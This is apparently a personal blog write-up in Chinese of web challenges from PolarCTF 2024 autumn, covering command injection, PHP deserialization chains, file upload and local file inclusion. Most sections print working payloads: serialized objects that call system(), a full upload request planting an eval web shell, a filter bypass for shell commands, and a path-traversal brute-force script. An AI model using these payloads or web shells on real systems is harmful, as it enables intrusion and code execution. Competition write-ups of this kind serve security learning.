PolarCTF2024秋季

baozongwi Lv5

0x01 前言

还挺多的

0x02 question

EZ_Host

进入之后很明显啊,一个命令注入

1
/?host=127.0.0.1;tac%20f*

序列一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class Polar{
public $url = 'polarctf.com';
public $lt;
public $b;

function __destruct()
{
$a = $this->lt;

$a($this->b);
}
}
unserialize($_POST['x']);
highlight_file(__FILE__);


?>

很简单的反序列化但是中途eval这边不行然后调试了一下下

1
2
3
4
5
6
7
8
<?php
class Polar{
public $url = 'polarctf.com';
public $lt='system';
//public $b='whoami';
public $b='tac /f*';
}
echo serialize(new Polar());

vm50给你flag

1
2
3
4
5
6
7
8
9
10
<?php
include 'funs.php';
highlight_file(__FILE__);
if (isset($_GET['file'])) {
if (myWaf($_GET['file'])) {
include($_GET['file']);
} else {
unserialize($_GET['data']);
}
}

很明显进行任意文件读取

1
?file=php://filter/convert.base64-encode/resource=funs.php

同时肯定又是一个序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
include 'f1@g.php';
function myWaf($data)
{
if (preg_match("/f1@g/i", $data)) {
echo "NONONONON0!";
return FALSE;
} else {
return TRUE;
}
}

class A
{
private $a;

public function __destruct()
{
echo "A->" . $this->a . "destruct!";
}
}

class B
{
private $b = array();
public function __toString()
{
$str_array= $this->b;
$str2 = $str_array['kfc']->vm50;
return "Crazy Thursday".$str2;
}
}
class C{
private $c = array();
public function __get($kfc){
global $flag;
$f = $this->c[$kfc];
var_dump($$f);
}
}
1
A::destruct->B::toString->C::get

这个还是挺有意思,首先访问vm50这个属性要不存在也就是我们不要在B里面赋值,然后

var_dump($$f);这里我们就需要把$kfc里面还赋值一层数组(看个demo就知道了)

1
2
3
4
5
<?php
$c=array("vm50"=>"flag");
$a=array("kfc"=>$c);
$f=c[$kfc];
var_dump($$f);

所以触发get也是由于访问不到触发的,而不是不存在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A
{
public $a;
}

class B
{
public $b;
}
class C{
public $c;
}
$a=new A();
$a->a=new B();
$c=new C();
$c->c=array("vm50"=>"flag");
$a->a->b=array("kfc"=>$c);

echo serialize($a);
1
?file=f1@g&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}

Deserialize

访问这个/hidden/hidden.php,又是一个反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

class Token {
public $id;
public $secret;

public function __construct($id, $secret) {
$this->id = $id;
$this->secret = $secret;
}

public function generateToken() {
return "Token for {$this->id}";
}
}

class User {
public $name;
public $isAdmin = false;
public $token;

public function __construct($name, $isAdmin, Token $token) {
$this->name = $name;
$this->isAdmin = $isAdmin;
$this->token = $token;
}

public function getInfo() {
return "{$this->name} is " . ($this->isAdmin ? "an admin" : "not an admin");
}
}

class Product {
public $productName;
public $price;

public function __construct($productName, $price) {
$this->productName = $productName;
$this->price = $price;
}

public function displayProduct() {
return "Product: {$this->productName}, Price: {$this->price}";
}
}

if (isset($_GET['data'])) {
$data = $_GET['data'];
$user = unserialize($data);
if ($user instanceof User) {
echo $user->getInfo() . "<br>";
echo "Token: " . $user->token->generateToken() . "<br>";
echo "Product: " . $user->token->product->displayProduct() . "<br>";
if ($user->isAdmin) {
echo "Here is your flag: " . file_get_contents('/flag');
} else {
echo "You are not admin!";
}
} else {
echo "Invalid user data.";
}
} else {
highlight_file(__FILE__);
}
?>

这个没有链子,但是最后的会引导你进行写类和触发什么的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Token{
public $id;
public $secret;
}
class User{
public $name;
public $isAdmin=true;
public $token;

}
class Product{
public $productName;
public $price;
}
$a=new User();
$a->name="bao";
$a->token=new Token();
$a->token->id=1;
$a->token->product=new Product();

echo serialize($a);
1
/hidden/hidden.php?data=O:4:"User":3:{s:4:"name";s:3:"bao";s:7:"isAdmin";b:1;s:5:"token";O:5:"Token":3:{s:2:"id";i:1;s:6:"secret";N;s:7:"product";O:7:"Product":2:{s:11:"productName";N;s:5:"price";N;}}}

传马

看到是阿帕奇但是说了只能用图片那就伪装一下先,等会不行再传.htaccess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST / HTTP/1.1
Host: d020ad56-fb0d-4941-aad1-eb1857be5c29.www.polarctf.com:8090
Content-Length: 424
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://d020ad56-fb0d-4941-aad1-eb1857be5c29.www.polarctf.com:8090
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytr2beHroL6swRl2s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://d020ad56-fb0d-4941-aad1-eb1857be5c29.www.polarctf.com:8090/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundarytr2beHroL6swRl2s
Content-Disposition: form-data; name="upload_file"; filename="3.php"
Content-Type: image/png

<?=eval($_GET[a]);?>
------WebKitFormBoundarytr2beHroL6swRl2s
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarytr2beHroL6swRl2s--

1
/upload/3.php?a=echo `tac /f*`;

欧克比想象中简单

bllbl_ser1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class bllbl
{
public $qiang; // 我的强

function __destruct()
{
$this->bllliang();
}

function bllliang()
{
$this->qiang->close();
}
}

class bllnbnl
{
public $er; // 我的儿

function close()
{
eval($this->er);
}
}

if (isset($_GET['blljl'])) {
$user_data = unserialize($_GET['blljl']);
}

没啥好说的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class bllbl
{
public $qiang; // 我的强
}

class bllnbnl
{
public $er; // 我的儿
}
$a=new bllbl();
$a->qiang=new bllnbnl();
$a->qiang->er="system('tac /f*');";
echo serialize($a);

回显在源码里面

投喂

翻译一下就知道了

1
2
3
4
5
6
7
<?php
class User{
public $username="bao";
public $is_admin=true;
}
$a=new User();
echo serialize($a);

rapyiquan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');

$url = $_SERVER['REQUEST_URI'];
function checkUrlParams($params) {
if (strpos($params, '_') !== false) {
return false;
}
return true;
}

if(checkUrlParams($url)){
$cmd=$_GET['c_md'];
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("badly!");
} else {
echo `$cmd`;
}
}else{
echo "$url";
echo "<br>";
echo "Hack";
}

反斜杠绕过就可以了

1ncIud3

说的是要替换,现在是可以任意文件读取了

而且貌似这个../被过滤了,那么双写绕过

然后写个脚本(人机写的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
from itertools import product
import time

# 定义字符替换规则
replace_list = {
'f': [ 'f', '4','F'],
'l': ['1', 'I', 'L', 'i','l'],
'a': ['@', '2', '3', '4','a'],
'g': ['g', '9', 'G', '3', '6']
}

# 目标字符串
target = "flag"

# 生成所有可能的组合
def generate_combinations(target, replace_list):
# 将目标字符串拆分成字符列表
chars = list(target)

# 生成每个字符的所有可能替换
replacements = []
for char in chars:
if char in replace_list:
replacements.append(replace_list[char])
else:
replacements.append([char])

# 使用 itertools.product 生成所有可能的组合
combinations = [''.join(combination) for combination in product(*replacements)]

return combinations

# 生成所有可能的组合
combinations = generate_combinations(target, replace_list)

# 目标 URL
url = "http://b0fb50b6-d341-4be9-ac28-5e346250d721.www.polarctf.com:8090/" # 替换为实际的 API URL

# 发送请求
for combination in combinations:
params = {"page": "..././..././"+combination}
response = requests.get(url, params=params)
time.sleep(0.1)
# 打印响应
print(f"Sent: {combination}")
print(f"Response: {response.status_code} {response.text}")

# 如果响应中包含特定的内容,可以停止发送请求
if "flag" in response.text:
print(f"Found special response with combination: {combination}")
break

自己稍微改改字典

笑傲上传

直接传不行了,那么就插入了,随便截一张图然后用010写进去就行

查看源码发现有地方可以包含,检查拿到路径

进行RCE

1
/upload/1820240922085407.png

emm,怎么和想象中不一样那就只能用虚拟机合成了

1
cat m.png m.php > a.png

上传成功之后发现了问题,我还是找不到木马,后来发现是路径错了,那么也就是说010插入的方法是可行的

1
2
3
4
http://e4f57176-9819-4beb-b68e-6c176a1eeb9e.www.polarctf.com:8090/include.php?file=/var/www/html/upload/3120240922091401.png

POST
a=echo `tac /f*`;

SnakeYaml

这玩意不会,给个官方脚本吧

CC6打spring内存马

一写一个不吱声

依然是不会呜呜

0x03 小结

其他的都还好,这里的序列化比较多,也挺新颖,至少之前没见过这么触发,java得整起来了

  • Title: PolarCTF2024秋季
  • Author: baozongwi
  • Created at : 2024-09-22 14:39:35
  • Updated at : 2024-09-22 17:33:04
  • Link: https://baozongwi.xyz/2024/09/22/PolarCTF2024秋季/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments